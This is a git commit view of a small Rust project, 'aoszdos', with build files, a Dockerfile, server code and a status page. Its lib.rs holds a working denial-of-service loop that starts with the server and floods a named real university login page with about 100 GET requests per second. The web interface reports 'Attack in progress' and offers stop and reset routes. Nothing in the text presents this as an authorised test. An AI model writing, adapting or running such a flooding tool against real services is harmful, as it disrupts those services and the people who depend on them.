Initial commit
This commit is contained in:
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
target/
|
||||
1880
Cargo.lock
generated
Normal file
1880
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
25
Cargo.toml
Normal file
25
Cargo.toml
Normal file
@@ -0,0 +1,25 @@
|
||||
[package]
|
||||
name = "aoszdos"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
askama = "0.14.0"
|
||||
async-rate-limit = "0.1.1"
|
||||
axum = "0"
|
||||
libc = "0"
|
||||
reqwest = "0"
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
tokio-util = "0"
|
||||
tower = "0"
|
||||
tower-http = { version = "0", features = ["trace", "timeout"] }
|
||||
tracing = "0"
|
||||
tracing-subscriber = { version = "0", features = ["json", "env-filter"] }
|
||||
|
||||
[profile.release]
|
||||
codegen-units = 1
|
||||
lto = "fat"
|
||||
panic = "abort"
|
||||
|
||||
29
Dockerfile
Normal file
29
Dockerfile
Normal file
@@ -0,0 +1,29 @@
|
||||
ARG ALPINE_VERSION=latest
|
||||
FROM alpine:$ALPINE_VERSION AS builder
|
||||
|
||||
ARG RUST_VERSION=stable
|
||||
|
||||
COPY Cargo.lock /usr/src/
|
||||
COPY Cargo.toml /usr/src/
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN apk add --no-cache rustup build-base && \
|
||||
rustup-init -qy --profile=minimal --default-toolchain=$RUST_VERSION && \
|
||||
source "$HOME/.cargo/env" && \
|
||||
mkdir src && echo "fn main() {}" > src/main.rs && \
|
||||
cargo fetch && \
|
||||
cargo build --release --target=x86_64-unknown-linux-musl && \
|
||||
rm src/main.rs
|
||||
|
||||
COPY src/ /usr/src/src/
|
||||
|
||||
RUN source "$HOME/.cargo/env" && \
|
||||
touch src/main.rs && \
|
||||
cargo build --release --target=x86_64-unknown-linux-musl
|
||||
|
||||
FROM alpine:$ALPINE_VERSION
|
||||
|
||||
COPY --from=builder /usr/src/target/x86_64-unknown-linux-musl/release/aoszdos /usr/bin/
|
||||
|
||||
CMD [ "/usr/bin/aoszdos" ]
|
||||
118
src/lib.rs
Normal file
118
src/lib.rs
Normal file
@@ -0,0 +1,118 @@
|
||||
use std::{io, sync::Arc, time::Duration};
|
||||
|
||||
use askama::Template;
|
||||
use async_rate_limit::{
|
||||
limiters::VariableCostRateLimiter,
|
||||
token_bucket::{TokenBucketRateLimiter, TokenBucketState},
|
||||
};
|
||||
use axum::{
|
||||
extract::State,
|
||||
http::StatusCode,
|
||||
response::{Html, IntoResponse, Response},
|
||||
routing, Router,
|
||||
};
|
||||
use tokio::{net::TcpListener, sync::Mutex};
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tower_http::{timeout::TimeoutLayer, trace::TraceLayer};
|
||||
|
||||
#[derive(Clone)]
|
||||
struct AppState {
|
||||
attack: Arc<Mutex<bool>>,
|
||||
}
|
||||
|
||||
pub struct Config {
|
||||
pub listen_port: u16,
|
||||
}
|
||||
|
||||
pub async fn run(config: Config, token: CancellationToken) -> Result<(), io::Error> {
|
||||
let state = AppState {
|
||||
attack: Arc::new(Mutex::new(true)),
|
||||
};
|
||||
|
||||
let attack = state.attack.clone();
|
||||
|
||||
let app = Router::new()
|
||||
.route("/", routing::get(index_page))
|
||||
.route("/stop", routing::get(stop))
|
||||
.route("/reset", routing::get(reset))
|
||||
.layer((
|
||||
TraceLayer::new_for_http(),
|
||||
TimeoutLayer::with_status_code(StatusCode::REQUEST_TIMEOUT, Duration::from_secs(10)),
|
||||
))
|
||||
.with_state(state);
|
||||
|
||||
tokio::spawn(dos(attack));
|
||||
|
||||
let listener = TcpListener::bind(("0.0.0.0", config.listen_port))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let _ = axum::serve(listener, app)
|
||||
.with_graceful_shutdown(async move {
|
||||
token.cancelled().await;
|
||||
})
|
||||
.await;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn stop(State(state): State<AppState>) -> impl IntoResponse {
|
||||
let mut attack = state.attack.lock().await;
|
||||
*attack = false;
|
||||
}
|
||||
|
||||
async fn reset(State(state): State<AppState>) -> impl IntoResponse {
|
||||
let mut attack = state.attack.lock().await;
|
||||
*attack = true;
|
||||
}
|
||||
|
||||
async fn index_page(State(state): State<AppState>) -> impl IntoResponse {
|
||||
let attack = state.attack.lock().await.clone();
|
||||
let template = IndexTemplate { attack };
|
||||
HtmlTemplate(template)
|
||||
}
|
||||
|
||||
async fn dos(attack: Arc<Mutex<bool>>) {
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
let url = "https://pms.szamtech.ktk.bme.hu/en/login";
|
||||
|
||||
let state = TokenBucketState::new(100, 10, Duration::from_millis(100));
|
||||
let state_mutex = Arc::new(Mutex::new(state));
|
||||
let mut rl = TokenBucketRateLimiter::new(state_mutex);
|
||||
|
||||
loop {
|
||||
if let false = attack.lock().await.clone() {
|
||||
break;
|
||||
}
|
||||
rl.wait_with_cost(1).await;
|
||||
let client = client.clone();
|
||||
tokio::spawn(async move {
|
||||
let _ = client.get(url).send().await;
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Template)]
|
||||
#[template(path = "index.html")]
|
||||
struct IndexTemplate {
|
||||
attack: bool,
|
||||
}
|
||||
|
||||
struct HtmlTemplate<T>(T);
|
||||
|
||||
impl<T> IntoResponse for HtmlTemplate<T>
|
||||
where
|
||||
T: Template,
|
||||
{
|
||||
fn into_response(self) -> Response {
|
||||
match self.0.render() {
|
||||
Ok(html) => Html(html).into_response(),
|
||||
Err(err) => (
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to render template. Error: {err}"),
|
||||
)
|
||||
.into_response(),
|
||||
}
|
||||
}
|
||||
}
|
||||
85
src/main.rs
Normal file
85
src/main.rs
Normal file
@@ -0,0 +1,85 @@
|
||||
use core::panic;
|
||||
use std::str::FromStr;
|
||||
use std::{env, fmt::Display};
|
||||
use tokio::signal::unix::{signal, SignalKind};
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tracing_subscriber::{fmt, prelude::*, EnvFilter};
|
||||
use aoszdos::Config;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), String> {
|
||||
// Enable logging in JSON format
|
||||
tracing_subscriber::registry()
|
||||
.with(fmt::layer().json())
|
||||
.with(EnvFilter::from_env("LOG_LEVEL"))
|
||||
.init();
|
||||
|
||||
// On panic format the message as JSON before exit
|
||||
std::panic::set_hook(Box::new(|panic_info| {
|
||||
let location = panic_info
|
||||
.location()
|
||||
.map(|loc| format!("{}:{}:{}", loc.file(), loc.line(), loc.column()))
|
||||
.unwrap_or_else(|| "unknown location".to_string());
|
||||
|
||||
let message = match panic_info.payload().downcast_ref::<String>() {
|
||||
Some(s) => s,
|
||||
None => "unknown message",
|
||||
};
|
||||
|
||||
tracing::error!("Panic occured at {}: {}", location, message)
|
||||
}));
|
||||
|
||||
// Parse environment variables and create a Config struct
|
||||
let config = Config {
|
||||
listen_port: parse_env("LISTEN_PORT", 8080),
|
||||
};
|
||||
|
||||
let (Ok(mut sigterm), Ok(mut sigint)) = (
|
||||
signal(SignalKind::terminate()),
|
||||
signal(SignalKind::interrupt()),
|
||||
) else {
|
||||
panic!("Failed to install signal handlers");
|
||||
};
|
||||
|
||||
// A token to be used to signal a shutdown request
|
||||
let token = CancellationToken::new();
|
||||
|
||||
let mut webserver_handle = tokio::spawn(aoszdos::run(config, token.clone()));
|
||||
|
||||
tokio::select! {
|
||||
_ = sigterm.recv() => {
|
||||
tracing::info!("Received SIGTERM");
|
||||
token.cancel();
|
||||
},
|
||||
_ = sigint.recv() => {
|
||||
tracing::info!("Received SIGINT");
|
||||
token.cancel();
|
||||
},
|
||||
_ = &mut webserver_handle => {},
|
||||
};
|
||||
|
||||
let _ = webserver_handle.await;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_env<T>(env_name: &str, default: T) -> T
|
||||
where
|
||||
T: Display + FromStr,
|
||||
<T as FromStr>::Err: std::fmt::Display,
|
||||
{
|
||||
let Ok(env_value) = env::var(env_name) else {
|
||||
tracing::info!("Environment variable '{env_name}' not set, using default {default}");
|
||||
return default;
|
||||
};
|
||||
|
||||
str::parse(&env_value).unwrap_or_else(|e| {
|
||||
let msg = format!(
|
||||
"Environment variable '{}' could not be converted to type {}: {}",
|
||||
env_name,
|
||||
std::any::type_name::<T>(),
|
||||
e
|
||||
);
|
||||
|
||||
panic!("{}", msg);
|
||||
})
|
||||
}
|
||||
80
templates/index.html
Normal file
80
templates/index.html
Normal file
@@ -0,0 +1,80 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Attack Status</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
text-align: center;
|
||||
margin-top: 100px;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
#message {
|
||||
font-size: 2rem;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
|
||||
/* Emergency STOP button */
|
||||
#stopBtn {
|
||||
width: 180px;
|
||||
height: 180px;
|
||||
border-radius: 50%;
|
||||
background: radial-gradient(circle at 30% 30%, #ff6b6b, #b30000);
|
||||
border: 12px solid #f1c40f; /* yellow ring */
|
||||
box-shadow:
|
||||
0 8px 0 #8c0000, /* top shadow */
|
||||
0 15px 20px rgba(0,0,0,0.5);
|
||||
color: white;
|
||||
font-size: 2.2rem;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
outline: none;
|
||||
transition: all 0.1s ease-in-out;
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Pressed effect */
|
||||
#stopBtn:active {
|
||||
box-shadow:
|
||||
0 3px 0 #8c0000,
|
||||
0 5px 10px rgba(0,0,0,0.4);
|
||||
transform: translateY(5px);
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div id="message"></div>
|
||||
<button id="stopBtn">STOP</button>
|
||||
|
||||
<script>
|
||||
// Server-side injected value
|
||||
const attack = {{ attack }};
|
||||
|
||||
const message = document.getElementById("message");
|
||||
const stopBtn = document.getElementById("stopBtn");
|
||||
|
||||
const green = () => {
|
||||
document.body.style.backgroundColor = "#7dff7d"; // green background
|
||||
message.textContent = "✅ The attack has been stopped.";
|
||||
stopBtn.style.display = "none";
|
||||
}
|
||||
|
||||
stopBtn.onclick = async () => {
|
||||
await fetch("/stop");
|
||||
green();
|
||||
};
|
||||
|
||||
if (attack) {
|
||||
document.body.style.backgroundColor = "#ff4d4d"; // red background
|
||||
message.textContent = "⚠️ Attack in progress...";
|
||||
stopBtn.style.display = "inline-block";
|
||||
} else {
|
||||
green();
|
||||
}
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user